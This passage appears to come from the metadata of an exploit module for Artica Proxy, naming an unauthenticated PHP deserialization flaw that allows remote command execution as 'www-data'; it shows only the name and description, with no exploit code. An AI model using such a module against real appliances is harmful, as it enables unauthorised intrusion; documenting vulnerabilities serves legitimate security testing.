'Name' => 'Artica Proxy Unauthenticated PHP Deserialization Vulnerability',
'Description' => %q{
A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40
allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
The Artica Proxy administrative web application will deserialize arbitrary PHP objects
supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.
